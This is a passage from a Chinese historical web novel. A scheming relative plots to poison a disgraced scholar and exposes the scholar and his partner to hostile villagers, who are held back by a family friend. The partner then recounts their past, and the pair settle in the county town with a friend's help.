然景色不错,造景讲究,一步一景。 王雉多看了一会,耽误了些功夫。 进书房第一句话就是告罪,“叫林大人久等,实在是院子里的景色极美,叫雉看得痴迷了。” 林清渝呵呵一声,“那王公子再去看看?” 王雉没应,一屁股坐在会客的椅子上,笑道:“林大人莫要打趣雉了。” 林清渝不怎么高兴,谁打趣你? 面子功夫到底还是要做,毕竟两家都是有头有脸的人家。 林清渝叫人看茶后,直接问王雉道:“王公子千方百计上云水县商船,此举是为何?” 王雉没有因林清渝的直接感到不悦,颇有几分真情实感的轻叹。 “我是偷偷跑出来,为寻我兄长的。” 林清渝闻言皱眉。 王家清贵不假,却也不是白玉无瑕。 多年前王家发生过一件丑事,王家十五代孙王隽,与其父纳的妾室哥儿有染。 事发之后,王家家主要打杀那哥儿,王隽以命相护,割舍王家子身份,吊着一口气带着那哥儿离开王家。 二人如此离经叛道,即便王家再怎么遮掩,也传了开来。 此事在王家,是禁忌,无人敢提。 王隽在云水县的事,林清渝知道。也晓得和他一起出王家的哥儿,就是同凌星交好的谢青崖。 不过他人家事,旁人不好评价,更不好插手。 且二人早已脱离王家,族谱都除名了。在云水县安家,就是治下百姓,与旁人无甚特别。 林清渝不想多过问他人家事,反正与他无关,因此没有特意注意过王隽和谢青崖。 但此时也不免疑惑。 事情都过了这么多年,而且王隽是生于主家,王雉生于旁支,好好地他找王隽干什么? 事出反常必有妖,林清渝直觉不对劲。 “王公子找兄长,怎么找来衙门了?这里可没有王公子的兄长。” 察觉到林清渝话里赶客规矩,王雉立即起身,对着林清渝深深拱手鞠躬。 “大人有所不知,陛下有意复用兄长,族中人却层层阻拦。” 事情起源就是因朝中无甚人可用,国库也空,需要人,也需要钱。 皇帝翻阅了建朝后科举前十的策论文章,王隽的治国策再次浮现于帝王眼前。 贸易通商,边关互市。 一个出生于清流人家的人,满纸的金银铜臭,实在是割裂。 但不得不承认,此举确实能让国富。 全看如何实施。 缺钱缺到连赌坊都端了的皇帝,越看策论,心越痒。 民富则国强,这说的太对了。 他得让王隽回来。 连夜找了王家家主,透露出想要王隽回来的风声。 至于当初犯下的错事,那哥儿反正也不是王家妾室了,如今叫人回来做官也不算触犯律法。 再说过去这么多年,罚也罚了,足够了。 林清渝听完第一反应就是王家人不可能让王隽回去。 王家这样的人家,规矩比天大,名声比命重。 皇帝能不计较王隽曾犯下的错,可王家不会不计较。 真叫王隽回去,那不是生打他们的脸面?更何况,王隽回去还是搞钱,不是搞学问的。 这简直就是踩了王家一个又一个的禁忌。 除非王家家主失心疯,不要清贵名流的名声脸面,不然不可能会让王隽回去的。 层层阻拦,倒也能理解缘由。 王雉说清楚来龙去脉,言辞恳切。 “在我之前,已经有人前来。我担心兄长凶多吉少,恳求林大人出手相助,借我衙役,去寻兄长,护他安危。” 林清渝一怔。 是啊,只有死人才能叫人彻底放心。 人死了,就算是陛下要他回,也回不了。 看那王家人个个念着圣贤书,下起手来,也是狠辣。 说实话,林清渝不想掺和王家的事,真阻碍了会惹一身的麻烦。 不过…… 能看王家人不高兴,那有点麻烦也值了。 更何况陛下看中王隽,若是此时出手相助,情谊不就结下? 权衡利弊后,林清渝点头同意。 此为私事,倒不好真派衙役过去。林清渝借了王雉两个护卫,护着王隽和谢青崖离开,保住命就行。 小柳村突然来了三个骑马的陌生人,其中两个还带着刀剑,大白天的一身黑衣,瞧着吓死个人。 三人直奔卖豆腐的王夫郎家中,消息很快传遍了小柳村。 沈家这时候只有徐有芳还有曹满月,以及小春小夏在家。 她们听到消息后,担心谢青崖和王隽会出事,连忙放下手里的活,去找祝村长,组织村民去王家看看是什么情况。 对于王雉突然到来,王隽毫无预料。 他已经多年没再见过王家的人,也没有再听过王家的消息。 马匹拴在门外,林家的护卫持刀剑在院门处守着,院子里王雉在苦劝王隽。 “哥,只要你愿意回去低头认错,家主一定会原谅你的!” 王隽面色苍白,轻咳一声。 谢青崖连忙给他轻抚后背。 王雉看到王隽身体差成这样,心中愤懑。明明以前的王隽,一手剑术高超,陛下都曾夸过。 如今别说舞剑,怕是连剑都提不起来。 王雉忽的起身,伸手推开谢青崖,红着眼眶怒道:“都怪你!要不是你,我哥他怎么会成这幅鬼样子!” “你若真心爱我哥,现在就去死啊!只要你死了,哥他就能回去,家主就能原谅……” 啪—— 王隽手掌轻颤,看着被打偏过脸的王雉,压着心口涌起的血腥气,艰难开口,“我与王家早无干系,这里不欢迎你,请你离开。” 谢青崖心疼的拉着王隽的手,都红了…… 他身体不好,如此动怒,又要养好久。 王雉捂着脸,咬牙道:“我是为了让你活命才来的!” 王隽冷笑一声。 “是吗?” “都说久病成医,这些年我吃的药,看的医书也不少。再不济,还是能闻出悠然叶的味道。” 悠然叶名唤悠然却剧毒无比,它只有两个效用,一为迷晕活物,二为毒死活物。 冬日天寒,王隽以前被打断重接的骨头会疼的要命,彻夜无眠。 他实在受不了时,便会用少量悠然叶粉点燃,能让他睡个好觉,不那么疼。 这个味道他不可能会闻错。 王雉明显一愣,随后立即解释,“我是怕家里派来的人多,两个护卫对付不了。所以备些悠然叶粉,能将人迷晕,有备无患。” 王隽眸色更冷,视线看向王雉右手食指。 “既然如此,你指尖里藏着药粉做何?难不成要请杀我之人进来喝茶,趁其不备放进去?” 王雉失声,他抬起手看去,明明从进来就一直在遮掩,还是被发现了。 轻笑一声后,收起了之前愤怒心疼的神色,恢复一如既往的寡淡神情。 “哥你果然是家里最聪明的,什么都瞒不过你。” 王雉用拇指指甲剔着食指缝隙里的粉末,一屁股坐回凳子上。 “我也没骗你,家里确实派人来杀你们了。本来我是想借林县令的人做人证,趁着他们和那些杀手缠斗时,我就能迷晕你们,再动手。只要我自己也一起晕,再受点伤,查不到我头上。” “可惜啊,计划这样好,没动手就被识破,不好玩。没意思。” 王隽疲惫的半靠在谢青崖身上。 二人身高差不多,谢青崖更精壮些,即便被靠着,也没丝毫晃动。 “你兜兜转转绕这么一圈,是为了那篇策论?你想代替我,去见陛下?” 虽是询问,但王隽已经确定,王雉就是这个意思。 果然,王雉啧一声,“和聪明人说话就是烦,真是什么也瞒不过哥啊。” 说完他又叹气,“一个萝卜一个坑,王家的萝卜太多了,我想要出头很难。如今好不容易多一个坑,我想把自己栽进去,自然是要想些办法的。” “害人当然是不对的,哥你以前也对我很好,从来没有看不起我,还会耐心的教导我课业。” “可你为什么要走呢?为什么要抛下我走呢!” 王雉怒不可遏,他死死的盯着王隽,“你走后,我在家里过的生不如死。谁都能来踩我一脚,就因为我与你感情最好。” “你说你该不该死?” “你该死,谢青崖也该死,你们两都该死!” “我绕这么一圈,不仅是为了策论,更是为了确认你们真的死了!” 王雉状若疯癫,面容扭曲。怕外面人听见,有意压低声音,更显得阴郁。 王隽眉头紧皱,心绪起伏,咳嗽不断。 外面有风,情绪又起伏太大,王隽身体受不住。 谢青崖没办法,直接把人打横抱起,放在床榻上。 给王隽盖好被子后,他大步去院中,拖着王雉就朝着院子外扔。 常年做豆腐的谢青崖力气很大,王雉一时间挣脱不了,只能顺着谢青崖的力道走。 “这人企图杀我和我相公,县令大人被他蒙骗,还请二位带他离开。” 谢青崖一句话说清,直接关门。 两个护卫面面相觑,片刻后反应过来是什么意思。 感情是他们被人当刀了。 没等他们说话,不远处就来了一群村民。 有不少人手里还拿着种地的家伙事,别看没有刀剑,锄头铁锹可是纯铁打造,村民日日夜夜忙活地里庄稼,个个都有一把子力气。 这么多人带着家伙事过来,他们还真扛不住。 为首的祝村长还有徐有芳紧盯着院门口的三人,稍微靠近后,祝村长大声问道:“你们是何人?为何带着刀剑来我们小柳村?” 两个护卫思忖着要怎么回话,不料王雉先扯着嗓子喊起来。 “还能是为何?为家族除害而来!院子里住的二人看似是夫夫二人,实则通。奸。乱。伦!儿子和爹的妾室搞上,你们村子竟能容得下这样的人!” 此话一出,不仅是小柳村村民们愣住,一旁两个护卫也愣住了。 没想到竟然是这样的关系! 谢青崖站在院子里,没来得及进屋。 王雉喊的话,他都听见了。 自己没办法再对他们动手,所以告知村民他们的身份关系,让村民们动手吗? 谢青崖想到刚从王家出来时,不管在哪里落脚,都会被当地人知道他们一开始的身份。 接着就是无止尽的殴打谩骂,他们一直在逃亡。 小柳村,是他们待过时间最长的一个村子。 他在这里,还交到了第一个也是唯一一个朋友。 看来,他和王隽又要逃亡了。 不知道以后还能不能再见凌星,凌星又会不会嫌弃他的身份…… 谢青崖鼻尖发酸,眼眶微热,快步进屋去。 此地不宜久留,得快点收拾东西离开。 就算村民不知道他们身份,因王家派人杀他们的缘故,也不能再继续待下去。 相处多年,王隽只一眼,就看出谢青崖为何难过。 想来是王雉把他们的事,告诉了村民。 他挣扎起身,要帮谢青崖一起收拾行囊。 谢青崖动作迅速,主要是把银钱都带上。 他系上包袱,“书暂时带不走,后面我悄悄过来,看能不能拿一些。” 王隽颔首,“嗯,从小门走,不出意外,大门应该被堵上了。” 夫夫二人打开房门,就见林县令的护卫等在门口。 二人心头一跳。 以为今日必是走不掉,要遭受皮肉之苦,没想到却听其中一人道:“东西给我们,骑马带你们去县中躲避。” 另一人道:“来之前大人强调过,护住你们的性命为第一要紧事,其他的人和事,不听不看不问。” 也就是说,不管王雉说什么做什么,他们要做的,只有护王隽和谢青崖活着。 王隽心中感念,还好林县令不是那种会被拿捏欺骗的人。 谢青崖担忧的看一眼院门方向,“外面人应该很多,我们能出得去吗?” 护卫道:“有个徐婶子把人拦住,不让人有动作。可以离开。” 谢青崖听闻是徐有芳相助,眼泪刷的一下就下来。 这么多年来,他第一次遇到愿意帮他们一次的人。 王隽伸手拉着谢青崖往外走,“徐婶子怕是撑不了太久,我们快些离去,不能叫婶子太难做。” 谢青崖点头。 院门被打开,王雉已经走了。 本来是怕王家出事,聚集过来的村民们,正虎视眈眈的盯着王家院门。 他们手中用来保护的器具,成了随时会伤人的凶器。 通。奸。乱。伦,这是要浸猪笼,打杀死的罪责。 这样的人不能留,不然就是败坏了村子里的风气,以后村里还如何嫁娶! 徐有芳在听完王雉说的后,脑袋一片空白。 村民们议论着如何处置谢青崖和王隽的话,就像一把把刀,插在她的身上。 她很快清醒,逼着自己打起精神。 今日若保不下谢青崖和王隽,后面就保不住星哥儿和二郎。 “谁若是对谢青崖和王隽动手,以后沈家的活,就不要再做了!” 徐有芳吼出一声,一旁的祝如山皱起眉头。 沉默思索间,他做出了取舍。 到底还是钱更重要,祝如山没有反对徐有芳的做法,但也没替徐有芳一起说服村民。 在他看来,谢青崖和王隽做出这种有悖人伦的事,就是该死。 村民们与祝如山想一块去了。 他们知道沈家的凌星和谢青崖关系亲厚,徐有芳是看在凌星份上,才想保下二人。 没人能和钱过不去,看在钱的份上村民们没有动作。 谢青崖和王隽出来时,他们只是紧紧盯着二人看。 王隽与谢青崖看向拦在村民们之前的身影,二人拱手行礼,谢过徐有芳相助。 徐有芳轻轻点头,没说话。 她不知道这两人具体是怎么回事,若真如之前那人所言,他们确实有错。 今日护下,是她私心感情甚过礼教规矩。 不代表,她的做法就是对的。 徐有芳皱着眉,心里乱的很。 谢青崖会骑马,他与王隽共乘,两名护卫共乘。 骑马到县里很快,只用了一个多时辰。 林清渝在衙门里见上了谢青崖和王隽。 也得知王雉的打算。 知道自己也被那小子算计进去,林清渝嘴角一抽。 王家这一家读书人,个个都精明能算计。 好在他也留有后手,叫护卫在发生动乱时,只盯着王隽和谢青崖,将人带出来便可。 就算王隽没发现王雉意图,那小子最后也无法得逞。 林清渝对王家的事不感兴趣,并没有过问王隽二人当年到底是怎么回事,只问他们,“今后有何安排?” 王隽看一眼谢青崖,“想先去见见凌哥儿,与他道别。” 至于去哪里,暂且不确定。 林清渝看王隽面色苍白,不由叹道:“你若想回去做官,我派人送你。” 王隽摇头,“多谢大人好意,在下的身体经不起官场折腾了。” 林清渝看他一眼,又叹一声,也是没想到王隽身体差成这样,想来当年是真的受了很多苦。 救人救到底,送佛送到西。 当他为自己积德行善了。 “你若有信件送去王家,我派人送去主家,再让主家送往王家。他们知道你与林家有瓜葛,也不敢再肆无忌惮的动手。信中言明你的想法,今后王家应不会再有动静。” 王隽没想到林清渝也这样的帮他们,这次事发,当真是和以往每一次都不一样。 这次他没拒绝林清渝好意,他需要安稳平淡的生活。 官场,王家,他通通不想再接触。 王隽在衙门里写了封信,说清楚他不是王家人,身体也每况愈下,不知有多少时日可活,不可能再入官场。 此后他是死是活,也都与王家无关。 但若再使些不入流的手段,那他也不介意把事情全部捅到御前。 叫世人都看看,清流王家的下作手段。 这封信若是王隽让人送,王家人不会有所顾忌。但林家派人送,一切都会不同。 林家与王家本就不合,林家又复起得宠,真在陛下那说什么,王家受不住。 王隽就是知道这些,他才没办法再拒绝林清渝的提议。 欠下一个人情,以后有机会,定当是要还。 信写好后,林清渝就叫人快马加鞭送去林家,他自己也给主家写了封信,说清楚缘由和谋划。 能拿捏王家的一个把柄,想来主家也很乐意跑这一趟,去王家送信。 处理完事情,王隽和谢青崖带上包袱,去了凌星的小院。 正是下午,日头大着。 凌星在院子里做鸡蛋冰激凌,给家里人解暑。 这东西做起来比冰酥酪还简单,只要把蛋清蛋黄分离,蛋清加适量糖搅拌,凝固后再加蛋黄搅拌均匀。 另外再取一空盆,里面倒上冰块,撒上盐。将之前装着搅拌好的蛋黄蛋清的盆,放在冰盆上。接着倒入适量牛奶,继续搅拌。 慢慢的,里面东西就会凝固。凝固后吃起来香甜绵软,入口即化,又带着冰凉,很是解暑。 口感味道虽比不上冰酥酪,不过更清凉些,味道也不差。 就是费手费劲。 好不容易搅拌好,鸡蛋冰激凌凝固成功,凌星舀出一小碗,给凌月送去。 剩下的他准备给沈来、沈回还有林县令送。 现在沈来天天跟着裴医学习,那辛夷因为被沈来救了一命,如今也不再找麻烦。 孩子回家再累,脸上都带着笑。 这次就多送些过去,叫医馆的人都吃些解暑。 正要出门,院门敲响。 凌星去开门,见是谢青崖和王隽,不由一愣。 二人神情凝重,又背着包袱,定是出事了。 他赶紧把人往院里请。 “青哥儿这是出什么事了?”凌星担忧的问谢青崖。 谢青崖在路上就想好了,不瞒着凌星,将以前发生的事情,全盘告知。 他不想失去这个朋友。 “星哥儿,我有话同你说。” 谢青崖极少有这样严肃认真说话的时候,凌星心里七上八下,点头把人往堂屋带。 端了冰盆,又舀了冰激凌出来招待。 其他的那些只能先放冰盆里继续冰着。 家里来人,又是熟悉的人。 凌月听到动静,出来见礼。得知大人们有话要说,见礼完就退出堂屋,回去继续看书。 冰激凌口感绵密,味道香甜。 冰凉的气息顺着喉咙进入五脏六腑,让人凉快不少,驱散些燥热,也叫人的心,平静许多。 谢青崖吃了大半,平复情绪后,对凌星说了小柳村发生的事。 怕凌星也误会,谢青崖说完后强调,“事情不是王家人传的那样。” 凌星惊讶的看向二人,谢青崖却不敢看凌星。 他怕凌星觉得他在狡辩,从凌星的眼中看到厌恶。 手背覆上一只手,掌心温暖干燥,谢青崖看着那只手一时没能反应。 “还好你们没事。” 凌星的话,给予了谢青崖抬头的勇气。 他声音低哑,“星哥儿不会厌恶我吗?” 凌星道:“你说了,不是他们传的那样。” 谢青崖笑了一声,真好,星哥儿相信他。 “所以之前到底发生什么事了?”凌星问道。 谢青崖看一眼王隽,陷入了回忆。 七年前,谢青崖十七岁。 他的个头身形和其他的哥儿不一样,看起来更像是男子。 要不是手腕有孕痣,加上不长胡子,没有喉结。光看其他,那和男子真是一般无二。 没多少汉子喜欢这样的哥儿,实际上很多汉子喜欢的都是女子。 娶哥儿的,大部分都是没钱娶女子不得不娶哥儿,只有少部分是真喜欢哥儿,所以才娶。 谢青崖身形高大,性子也不软和,十七岁都没能嫁出去。 家里不想多张嘴吃饭,虽然谢青崖能干活,但不如钱来的实际。 于是谢家人把他卖了,得些银钱。 谢青崖在牙行睡了一晚上,就被青楼老鸨买去。 他这样身形的哥儿,也有个别汉子会喜欢。 因为这样的哥儿少,在青楼,还算稀罕物呢。 果不其然,当夜谢青崖就被大人物看上,送去顶楼的雅间。 谢青崖是个烈性,做好了一命偿一命的准备。 他挣扎的厉害,甚至因为力气大,还把那大人物按在身下打。 更是破口大骂,骂对方下流,无耻,不要脸面。 岂料,他越打越骂,对方竟然越兴奋。 涨红着脸,身体不住的抖,给谢青崖给抖不会了。 这人该不会是有什么病吧? 谢青崖害怕的又动起手。 越打,对方越兴奋、越抖。 最后也不知道是被打晕的,还是兴奋晕了,反正人晕了过去。 因为实在是太过奇怪,闻所未闻,谢青崖反而下不了手。主要是对方没对他做什么,倒是他把人打的不轻。 似乎还被他打坏了…… 谢青崖想,他肯定活不过明天了。 他把大人物打坏了。 既然如此,那干脆好好的吃一顿喝一顿,再饱睡一顿。 送进来的餐食和酒水都是上乘,谢青崖吃了个一干二净。 漱口后直接躺在柔软的床上,软滑的丝绸盖在身上,他感觉自己睡在云层一般。 早上醒来,谢青崖头有些疼。 想来是因昨夜喝了酒的缘故。 环视一周,被他打坏的大人物已经不在。 谢青崖正奇怪着,房门被推开。 只见过几面的老鸨一脸喜色的恭喜他,说他被大人物看上,要去大人物的府上当妾。 谢青崖惊疑,却也没得选,好歹算是嫁人了。 入府当晚,大人物翰林院编修王文京,给他一条特制皮鞭,要求他动手。还要像前一晚在青楼雅间一样,辱骂他。 谢青崖吓得把鞭子扔远,大叫着有病。 王文京笑着点头,当着他的面解开衣服。 谢青崖骇然,他不敢看那个画面,要离开这个屋子。 可门被从外面锁了起来。 王文京略带喘息的说:“你不按着我说的做,那这些东西就会用在你身上。” 谢青崖不想挨打,没多犹豫,就拿起了鞭子。 从那之后,谢青崖就被关在这个屋子里。 王文京隔三差五会来一趟,提出各种让谢青崖无法理解甚至无法接受的要求。 但好在,除了心里还有视觉上恶心些,不太能接受外,他自己吃好喝好,也没被碰过。 日子过的倒也挺好。 后来王文京也不关着他了,让他在府上自由活动。 不管怎样,他都跑不掉,户籍凭证都在王文京那呢。 有了自由能到处走,谢青崖很满意。 唯一不太好的就是好多妾室会来找他,他再傻也知道他们来的原因。 无非就是他“受宠”,这些人拈酸吃醋了。 这宠他们这么想要,真恨不得分给他们。 可惜,分不了。 谢青崖爱出去溜达,因此遇见了王隽。 身为王文京的嫡子,王文京对他的要求很严格。有一丝一毫的逾矩,或是没按着王文京要求的去做,就会被罚,被训。 谢青崖看到王隽,十次有五次是在罚跪,另外五次是被鞭打。 谢青崖觉得王文京真有病,自己爱被打,也爱打别人。 也不知是出于什么原因,大概是觉得和王隽同病相怜,都被王文京掌控,谢青崖开始给王隽送东西。 若是罚跪,他就送吃的。 若是被打,他就送药。 王隽亲母早亡,继母不慈,下人们看继母眼色过活,爹对他虽严格,却只在学业上。 生活上的事情,他从未过问。 因此,这还是王隽第一次感受到,陌生人的善意。 二人渐渐熟悉,一日王隽在外新得了有趣的玩意,叫竹蜻蜓,转一下能飞上天。 他觉得谢青崖会喜欢。 去找人时,被王文京贴身小厮拦住。 他知道,他爹在里面。 王隽捏着竹蜻蜓,神色不明,准备离开。 但脚像是灌了铅,定在原地,一动不动。 啪——啪——啪——— 熟悉的鞭声隔着门扉响起,王隽面色一僵。直到压抑的闷哼声传来,王隽再也控制不住,猛的推开小厮,一脚踹开门。 鞭子很疼,他不想让谢青崖挨打。 可门内的景象,让他忘记了动作。 竹蜻蜓掉落在地。 谢青崖皱眉抬眼,眼神凌厉,又瞬间变幻,被惊讶替代。 他怎么来了? 不好! 要死了,王文京怪癖暴露,定不会拿亲儿子怎样,可他肯定活不了! 谢青崖猜对了一半,王文京要谢青崖死,同时,也不准备让王隽活。 他把二人迷晕,关在一处。 随后带人来找,以通。奸。乱。轮之罪,要打杀二人。 王隽拼死护住谢青崖,没有让他受什么伤。 二人最终得以活命,是老爷子起了恻隐之心,不想最满意的孙儿就这么死了。 只将其从族谱除名,又将谢青崖的籍契凭证给了人牙子,发卖出去。 且这样一来,不管从哪看,外人都挑不出王家处理的错处。 真要是打死了,难免会被说心狠。 如此正好。 谢青崖在牙行等着被卖,心里担心王隽的伤。 他试过逃走,但根本逃不掉。 第二天的时候,王隽来了。 脸色白的吓人,虚弱的很。用一块随身携带的玉,将他买了出来。 从此,他们相依为命,逐渐真的生出了感情。 谢青崖没有详细的讲王文京让他做什么,都是能省则省。 凌星到底是活过一世,谢青崖说的隐晦,也叫他听懂了。 他的这好友,还真是命运多舛。 听谢青崖讲完,凌星也终于想起为何第一次见王隽,觉得他眼熟了。 王隽确实是个人物,二十岁的进士,外出历练两年,被调任回京。 在外的两年,就是在原身的家乡做官。 原身曾见过两面,但因有些距离,加上见的少,所以记忆模糊。 他魂穿之后,接收原身记忆,自然也是没办法想起来,只觉得面熟。 而王隽的事,在他家乡也流传开了。 大多都是骂名。 也有觉得可惜的。 会说如果不出这样的事,以王隽的能力,官会做的越来越大。 没想到,真相竟然会是这样的。 凌星想了一下后说:“青哥儿,你们别走了。就留在县里吧。” 谢青崖一愣,留在这? 王隽沉思片刻,觉得似乎可行。 去别的地方更人生地不熟,这里好歹有认识的人,还都愿意信他们,帮他们。 还有一点。 林县令费了力气拉扯云水县的财政经济,不论是林家还是其他大族,在外为官,不可能会自己辛苦栽树,让旁人在下乘凉。 因此,即便是林县令离开云水县,那下一任接任云水县的县令,不是林家人,就是林家阵营的人。 若是林县令没做这些,那后面的县令,自是谁都可能。 有林家或是林家相关的人在,王家人,就不会轻举妄动。 也不敢再让王家个别的人,在县里四处宣扬。不然他逼急了和人说明缘由,别人会不信他,和王家不合的林家还能不信吗? 不过不到万不得已,事情真相他不会说出去。 有些话,说了就会让人没有忌惮。不说,才能拿捏命门。 留在云水县,或许真是最好的选择。 王隽颔首,同意了凌星的说法,并且告知他为何会同意。 凌星倒是没有想的这么细,他只是觉得,一直这样躲来躲去也不是个办法。 既然现在都已经脱离王家,那么最开始的罪名已经不成立了。 眼下,没人能以通。奸。乱。伦为由再对他们动手。 所以不如留在云水县,有林县令压着,好好的解释一下,村民们能把话听进去。 即便还是会有些闲言碎语,但至少不会动手打杀人。 能留下谢青崖也很高兴,这里有信任他的朋友在,他着实不想离开。 二人今晚在凌星这住一夜,明天一早去牙行租住院子。 村子里就算解释过,也待不了了。闲言碎语太多,久了矛盾横生,日子过不下去的。 在县里也好,做什么也方便。 若不是为避王家人找到,他们也不会一直在村子里住着。 现在事情发展成这样,也不怕王家找了。 这么些年谢青崖和王隽积攒不少,虽然王隽吃药花费许多,但他抄书赚的也多。 他抄书不似其他的学子抄书,那些人时间有限,赚的钱又要买笔墨纸砚,要做路费盘缠,所以才无积蓄,甚至根本不够用。 王隽晚上和沈回睡一屋,谢青崖和凌星睡。 沈回从县学回来,看到二人没有多过问。 吃完饭洗漱完,众人各自离开睡觉。 王隽与沈回中间隔着距离,黑暗中沉寂片刻,王隽道:“你什么时候知道,我与青崖的事?” 沈回的反应骗不了人,看到他们在,那一瞬间的了然,被王隽捕捉到。 沈回道:“皮货商人南北走商,我那时上山打猎,与他们打交道多。他们经常说一些所见所闻,正好就有上任县令大人之前为官地方的见闻。” “之前说过,无意间读过你和上任县令的唇语。他喊你上官,想到他之前在哪为官。而皮货商说的传闻,和你都能对上。” 王隽没想到会是从皮货商人那听去的,看来沈回知道的很早。 竟是一直没有声张过。 王隽受他的人情。 他将事情经过,大概和沈回讲了一遍。 和谢青崖说的差不多,唯一不同的是他们的相遇。 “其实在他看到我之前,我已经看到了他。那时我不明白,为什么一个人可以看什么都觉得有趣。等回神时,发现自己的视线早被深深吸引。” “我从未告诉过他,对他心动,不在离开王家之后,而是在之前。但我不敢说,我怕他承受不了,我确实心思不纯,非君子所为。即便没有付诸行动,可我的感情、思想,每一天,都在拉扯着道德的枷锁。想冲破,又怕伤了他。” 王隽停顿一瞬,“沈回,在还能控制住的时候,悬崖勒马尚且来得及。若真走到我这一步,你又要入仕,如何护住凌星?” 沈回并不惊讶王隽看出来。 他们都有相同的经历和情感,他没办法瞒得过王隽的眼睛。 沈回闭上眼睛,“来不及了。” “我不入仕,举人之名,够我在云水县护他周全。” 王隽不太赞同,“原来你这么想科考,是为了这个。可你想过没有,即便是云水县,势力也错综复杂。与府城那边也多有牵扯,凌星是做生意的,举人之名当真能护得了?” 沈回道:“那就让府城那边不敢动。” 王隽闻言不再多劝,沈回显然是做好了准备,有了谋划成算。 既然如此,便愿他终能得偿所愿。 第82章 第 82 章 二合一 天亮之后, 王隽去牙行租院子,谢青崖回村子把家中东西搬到县里。 此事宜早不宜迟,耽误了时间,家里东西指不定会出现在谁家。 搬来的东西暂时就先放在凌星这, 等院子租好, 收拾好了再搬过去。 凌星不放心谢青崖一人回去,他跟着一起去。 正好也回家看看爹娘。 去车马行租马车, 二人都不会驾马, 另雇车夫。 与那车夫说好, 多给他三十文,到时候帮着搬东西。 车夫乐得有钱赚, 连连点头答应。 巳时二刻抵达小柳村, 这个时辰,村子里的人基本上都在田里。 没有人在,从村口到谢青崖家的路, 倒也安稳。 谢青崖和车夫先进院子收拾,凌星去了趟家里。 因为时不时会有人来沈家交绒花活计, 家中院门到晚上前,一直是开着的。 徐有芳坐在堂屋门口,有些心不在焉的缝制香囊。 眼看快要乡试,她缝制两个香囊, 装些驱虫驱蚊的药进去。 能叫沈回在考场里舒服些。 想起昨日谢青崖和王隽的事, 徐有芳便心绪不宁。 心里担忧万一沈回和凌星被发现可怎么办。 日有所思, 夜有所梦。昨夜她还做噩梦, 梦见沈回和凌星被绑起来打,任凭她如何喊,都没人停下。 她想冲过去, 又有一股看不见的东西,一直在阻挠她。 只能眼睁睁看着二人被打的头破血流,直至咽气。 被惊醒时,徐有芳唯一的感觉就是庆幸。 还好是梦。 “娘!我回来了!” 凌星小跑进院子,徐有芳闻声抬眸,看到凌星全须全尾的跑过来,七上八下的心稳当不少。 “星哥儿!” 进屋里后,徐有芳就给凌星倒水。 “你说你跑什么,看这满脑门的汗。”把水杯推到凌星面前,“山泉水,你姐夫家的哥哥隔三差五的挑来送,这比井水甜呢。都是烧好放凉的,快喝看看。” 凌星确实口干舌燥,咕噜咕噜喝下一杯,犹觉不够,又喝两杯才爽快。 “是真甜,好喝!” “喜欢喝就好,要是能带,给你带些回县里。”徐有芳坐下问道:“怎么这个时候回来了?是不是青哥儿的事,你知道了?” 凌星点头,“嗯,昨日他去找我了。” “娘,谢谢你昨天出言帮他们夫夫二人。” 徐有芳轻叹一声,“什么谢不谢的,我现在想想也后怕的很。要是村民们那时没听我的,这会还不知会是什么光景。” 事情已经过去,徐有芳也不想再提,一想起来就后怕。 “对了,那青哥儿有没有和你说,到底是怎么回事啊?” 昨天王隽说了,不到万不得已,不能告知其他人真正的真相。 事关二人性命,凌星想了一下,撇开王家人故意为之的做法。 又替二人解释道:“说了,都是王隽家里人胡说的。他们在一起的时候,身份是符合礼法的。” 徐有芳闻言舒一口气。 “有你这句话,娘就放心了。后面娘会把消息放出去,至少村里人不会再想着打杀人。就是会有些闲言碎语。” 凌星颔首,“麻烦娘了。” “青哥儿他们以后都在县里住,我今日也是陪他回来收拾东西。村子里,他们怕是不会再回。闲言碎语拦不住,他们也听不着,倒也不打紧。” 知道谢青崖和王隽有安排,徐有芳道:“娘和你去帮青哥儿收拾。” 沈呈山又出去发展绒花买家了,凌星没见着人。 赶着帮谢青崖收拾,二人没耽误功夫,家里让曹满月看着,他们直接去了谢青崖那帮忙。 谢青崖和王隽的东西不算多,最多的就是书。 装了三大箱的书,又带两箱衣物杂物。被褥这些是直接捆上,锅碗瓢盆全部用干草垫上再用麻绳捆绑着。 中午是曹满月送的吃食,四人一直忙活到下午,终于收拾好。 谢青崖再次谢过徐有芳,因为赶着天黑前回县里,便说等在县里安顿下来,再请沈家去县里吃饭,他们夫夫二人会好好答谢。 徐有芳又从家里拿了些咸菜,还有当季新鲜的菜蔬,给他们带上。 要不是马车实在不能再塞,还能给更多。 王隽出去许久,也是下午才回凌星的院子。 今日他看了七个院子,筛选出两个满意的,等明天和谢青崖一起再去看。 要是有谢青崖喜欢的,明天就能定下。 他回来的比谢青崖和凌星都早。 此时家里只有凌月在,正襟危坐的看着书里困住他的难题。 听到敲门声,凌月放下书,去开院门。 王隽低头看他,小孩眉头轻拢,神思飘散。 “阿月遇到什么事了?” 凌月摇头,“只是课业上有些疑惑。” 王隽还以为凌月这幅如遇大敌的模样,是有什么棘手的事。 不过细细想来,课业上的事,对凌月来说,确实是大事。 这孩子年纪小,心思重。 之前提点过他几次,看得出凌月将凌星供他读书之事,日日夜夜放在心里记挂,生怕叫凌星失望。孩子对自己的要求严格,也很高,不容许有任何的错处。 可弦绷得太紧,未必是好事。 尤其是凌月又年幼早慧,小小年纪经历颇多,性子带着些执拗,认定的事,不会有所改变。 王隽昨日就发现,凌月因在家中自学,随着时间推移压力更大,耗费的心力更甚。 总是这样紧逼自己,对身体的伤害很大。 “有何不懂的,问我便可。”王隽伸手轻触凌月眉间,抚平他的眉头,“小小年纪,该多笑一笑。” 凌月感受到善意,也知王隽才学高,之前深有体会。 想到困扰的问题会被解决,凌月轻松许多,眉宇舒展。 “劳烦隽叔。” 凌星和谢青崖回来时,沈回也下了学,正好帮着他们把马车上的行李卸下,暂时放在堂屋。 吃完晚饭,按着以往的规律,沈回要去给凌月解答课业问题。 但今日二人却是各自回屋。 凌月见凌星疑惑,解释道:“今日隽叔教导了我课业,所以没有再麻烦沈二哥。” 凌星若有所思的点点头。 趁着王隽和谢青崖去清点行李,凌星跑进沈回屋里。 一双眼睛亮晶晶的看向沈回,“二郎,你说我能不能请王隽给阿月做夫子?” “他有才学,性格好,又是熟人,阿月也喜欢他。” 凌星掰着手指头细数一堆,沈回轻笑道:“哥夫不是已经想好了?” “话虽如此。”凌星终于找到了一个各方面都好,极其符合的夫子人选,高兴的很,说话都是笑着,“但我还是想问问你的看法,你也被王隽教过,觉得他怎么样?” 沈回很喜欢凌星有事会想着和他商量、询问的感觉,看着凌星的笑,一日的苦学疲惫轻了不少。 他认真回想。 